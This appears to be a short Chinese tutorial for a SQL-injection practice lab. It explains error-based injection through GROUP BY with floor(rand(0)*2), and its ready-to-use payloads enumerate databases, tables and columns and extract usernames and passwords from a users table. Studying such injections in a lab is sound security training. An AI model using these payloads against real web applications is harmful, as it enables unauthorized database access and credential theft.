1.输入?id=1发现没有回显位置,但是可以发现存在注入点,这里可以闭合引号。注入点是 ?id=1′ ,随后通过order by 查询发现这里也是3列
这道题使用的是报错注入
group by报错注入原理分析
注意:这里我说下limit函数,因为数据库对回显做了限制,每次只能回显一行数据,所以需要用到limit来定位回显,limit的偏移量是0,也就是说从0开始就有数据而不是1,limit有两种用法:
1: limit a 意思是从0开始,筛选出0到a的数据
2:limit a,b 意思是从数据a开始,往后筛选出b条数据。
下面的代码中,把limit的参数改下就可以查到其他的数据了。
利用语句为payload部分,
union select 1,count(*),(concat(floor(rand(0)*2),(payload)))x from information_schema.schemata group by x;--+
查库:
union select 1,count(*),(concat(floor(rand(0)*2),(select schema_name from information_schema.schemata limit 0,1)))x from information_schema.schemata group by x;--+
查当前工作所属的库:
union select 1,count(*),(concat(floor(rand(0)*2),(database())))x from information_schema.schemata group by x;--+
查表:
union select 1,count(*),(concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema='security' limit 0,1)))x from information_schema.schemata group by x;--+
查列:
union select 1,count(*),(concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name='users' limit 0,1)))x from information_schema.schemata group by x;--+
查用户名:
union select 1,count(*),(concat(floor(rand(0)*2),(select username from security.users limit 0,1)))x from information_schema.schemata group by x;--+
查密码:
union select 1,count(*),(concat(floor(rand(0)*2),(select password from security.users limit 0,1)))x from information_schema.schemata group by x;--+
其实这里也可以使用 updatexml 和 extractvalue报错注入